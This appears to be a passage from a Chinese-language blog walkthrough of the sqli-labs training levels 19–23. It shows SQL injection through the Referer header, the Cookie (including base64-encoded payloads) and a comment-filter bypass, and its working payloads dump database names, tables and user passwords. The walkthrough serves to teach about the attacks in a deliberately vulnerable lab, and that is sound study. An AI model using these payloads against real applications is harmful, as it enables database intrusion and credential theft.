    知道了表的结构就可已注入了。

    注入

    爆库Referer: ' or updatexml(1,concat('#',(database())),0),'')#

    爆表Referer: ' or updatexml(1,concat('#',(select group_concat(table_name) from information_schema.tables where table_schema='security')),0),'')#

    爆表Referer: ' or updatexml(1,concat('#',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),0),'')#

    爆内容Referer: ' or updatexml(1,concat('#',(select * from (select concat_ws('#',id,username,password) from users limit 0,1) a)),0),'')#

    Less-20

    原文:https://www.jianshu.com/p/f77ab78dcd35

    分析

    登录失败

    kxUPGd.png

    登录成功

    kxUiRA.png

    • 回显有User-AgentIP这样从当次Request直接获取的,
    • 也有Cookie这样刷新页面后仍存在的,
    • 还有登录用户的idusernamepassword
    • 最下方是删除Cookie的按钮,点击后刷新到初始界面。

    使用Chrome插件EditThisCookie查看存储的Cookie信息:

    kxRrZQ.png

    可以看到只存储了uname这一个字段的信息,且是明文存储。
    修改Cookie后刷新界面:

    kxWPJI.png

    便可以得知整个后台流程:

    1. 登陆后将uname写入Cookie
    2. 在每次Request (GET / POST)页面时后台判断Cookie是否存在,若不存在则为登录界面;若存在则读取Cookie中字段uname
    3. 在数据库中按username查询,若用户存在则将查询到用户idusernamepassword回显;若不存在…

    可以判断出注入点就在Cookie处,但是这里注入有两种途径:

    1. 用Chrome插件EditThisCookie修改本地Cookie文件注入。
    2. Burp修改登陆(POST)成功后刷新时GET请求头中的Cookie值注入,这种方式不会修改本地的Cookie文件。

    接下来将重点演示第一种途径的注入。

    注入过程

    我们得出后台根据Cookie中的uname查询用户的所有信息,即这是个SELECT语句,我们可以使用最简单的UNION注入。

    uname=Dumb'

    kxfFAJ.png

    uname=Dumb' order by 3#回显正确,说明有三个字段。

    uname=1' union select 1,2,3#

    kx534J.png

    kx5PHS.png

    猜测SQL语句,然后看下源码

    $sql=”SELECT * FROM users WHERE username=’$cookee’ LIMIT 0,1”;

    爆库

    uname=1’ union select 1,2,database()#`

    kx5lEF.png

    kx5uuV.png

    爆表

    1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'#

    kx5Hvq.png

    1551967451498

    爆列

    1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

    kxIJIg.png

    kxIazn.png

    爆内容

    1' union select 1,2,group_concat(concat('-',id,username,password)) from users#

    1551967945603

    kxIHFe.png

    同样burpsuite也可以,

    kxIqWd.png

    总算把前20关写完了。多亏了Hyafinthus的题解。

    Less-21 to Less30

    Less-21

    分析

    还是和上一关一样,输入用户名登录,uname=Dumb,passwd=Dumb,登陆之后,可以看到和上一关的很像,但是还是有差别的,uname=Dumb变成了uname = RHVtYg==

    ACWTIO.png

    很明显是将Dumb进行base64编码,可以在线测试一下,base64编码之后验证了确实是Dumb的base64编码,查看cookie之后,发现也是base64编码的,

    注入

    开始注入,发现了一个问题,

    uname=Dumb’

    base64在线加密Dumb'后,即base64(Dumb’)=RHVtYiUyNw==

    用这个值去修改cookie值之后,发现会有如下警告,猜测是base64最后的表示问题

    APvuIe.png

    所以,写一个简单的python脚本

    1
    2
    3
    4
    import base64
    str1="Dump'"
    str2=base64.b64encode(str1)
    print(str2)

    uname=Dumb’

    base64=RHVtcCc=

    APxEWj.png

    APvF2R.png

    直接得出 SQL 语句:

    1
    SELECT * FROM table_name WHERE username=('$cookie_uname') LIMIT 0,1

    即单引号加括号闭合

    爆库

    uname=1') union select 1,2,database()#

    base64: RHVtcCcpIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=

    APxd0K.png

    APxDte.png

    爆表

    uname=1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=security'#

    base64: RHVtYicpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWE9c2VjdXJpdHknIw==

    APzJUS.png

    爆列

    uname = 1') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'#

    base64: MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX3NjaGVtYT0nc2VjdXJpdHknIGFuZCB0YWJsZV9uYW1lPSd1c2Vycycj

    AiSJqx.png

    爆内容

    uname=1') union select 1,2,group_concat(concat_ws('-',id,username,password)) from user#

    base64: MScpIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbmNhdF93cygnLScsaWQsdXNlcm5hbWUscGFzc3dvcmQpKSBmcm9tIHVzZXJzIw==

    AiSdiD.png

    Less-22

    uname=1"双引号闭合,其他和Less-21一样。

    Less-23

    作者:Hyafinthus

    链接:https://www.jianshu.com/p/2602430f8ee4

    分析

    id=1'

    Aik3t0.png

    可以看出是单引号闭合的查询,这里报错还把站点路径爆出来了。

    看了看源码,发现有preg_replace()

    1
    2
    3
    4
    5
    $reg = "/#/";
    $reg1 = "/--/";
    $replace = "";
    $id = preg_replace($reg, $replace, $id);
    $id = preg_replace($reg1, $replace, $id);

    preg_replace(pattern,replacement,subject[,limit=-1[,&count]])

    preg_replace()函数执行一个正则表达式的搜索和替换,搜索subject中匹配pattern的部分, 以replacement进行替换。

    如果subject是一个数组,preg_replace()返回一个数组,其他情况下返回一个字符串。
    如果匹配被查找到,替换后的subject被返回,其他情况下返回没有改变的subject。如果发生错误,返回NULL

    在这关中,也只是将#--替换成了空字符

    判断字段数时问题来了:尝试两种注释方式发现报错回显中LIMIT语句仍在起作用,注释没有起作用,即使把#URL编码为%23仍被过滤。

    这时就要分析 SQL 语句找到绕过注入的方式,后台的查询语句是这样的:

    1
    SELECT * FROM table_name WHERE id='$id' LIMIT 0,1

    注入点在id处,我们要判断字段数用的是order by子句,同时闭合第二个单引号:

    SELECT * FROM table_name WHERE id=1’ order by 4 and ‘1’=’1 LIMIT 0,1

    本意是能从报错信息判断查询返回表共有几个字段,但是回显很正常:

    AiVZp6.png

    这是因为:

    whereorder by是子句,and是操作符,用于where子句。
    在MySQL的执行顺序中,where是远在order by前面的。

    在第一个查询语句中,id='1' and '1'='1'作为where的条件,先被执行,得到结果集;然后是order by,因结果集中无第四个字段所以报错。

    在第二个查询语句中,order bywhere的条件中,在where执行时被忽略了,结果集生成后并未再执行order by

    所以这关不能用order by来判断字段数,而要用union

    SELECT * FROM table_name WHERE id=’1’ union select 1,2,3,4 or ‘1’=’1‘ LIMIT 0,1

    这里的or作为了联合查询第二个语句的条件而不是第一个语句where的条件。

    ?id=1' union select 1,2,3,4 or '1'='1

    select加到4时报错,得出共3个字段。

    注入时闭合查询语句即绕过过滤如下:

    SELECT * FROM table_name WHERE id=’-1’ union [select c_1,c_2,(c_3] or ‘1’=’1‘) LIMIT 0,1

    这里id等于-1在 Less 1 中解释过,使原查询左边为空,使我们定义的查询结果返回。

    注意:这里的or '1'='1'是作为column_3的操作符,因其为永真条件,在column_3回显处会显示1,所以不能在column_3处注入。

    ?id=-1' union select 2,3,4 or '1'='1

    回显如下

    AiZu80.png

    所以唯一的回显字段便是usernamecolumn_2,这也是唯一的注入点。

    注入

    爆库

    ?id=-1' union select 1,database(),3 or '1'='1

    AiZU8x.png

    爆表

    ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3 or '1'='1

    爆列

    ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3 or '1'='1

    爆内容

    ?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,password)) from users),3 or '1'='1

    Contents
    1. 1. 前言
    2. 2. 知识储备
      1. 2.1. information_schema
      2. 2.2. 这是一些经常用到的函数
  • Less-1 to Less10
    1. 1. Less-1
    2. 2. Less-2
    3. 3. Less-3
    4. 4. Less-4
    5. 5. Less-5
    6. 6. Less-6
    7. 7. Less-7
    8. 8. Less-8
    9. 9. Less-9
    10. 10. Less-10
  • Less-11 to Less-20
    1. 1. Less-11
    2. 2. Less-12
    3. 3. Less-13
    4. 4. Less-14
    5. 5. Less-15
    6. 6. Less-16
      1. 6.1. 注入方式与回显对比
      2. 6.2. 分析查询语句
    7. 7. Less-17
      1. 7.1. 派生表注入过程
      2. 7.2. updatexml()注入
        1. 7.2.1. 注入过程
    8. 8. Less-18
      1. 8.1. 分析
      2. 8.2. 注入
    9. 9. Less-19
      1. 9.1. 分析
      2. 9.2. 注入
    10. 10. Less-20
      1. 10.1. 分析
      2. 10.2. 注入过程
  • Less-21 to Less30
    1. 1. Less-21
      1. 1.1. 分析
      2. 1.2. 注入
    2. 2. Less-22
    3. 3. Less-23
      1. 3.1. 分析
      2. 3.2. 注入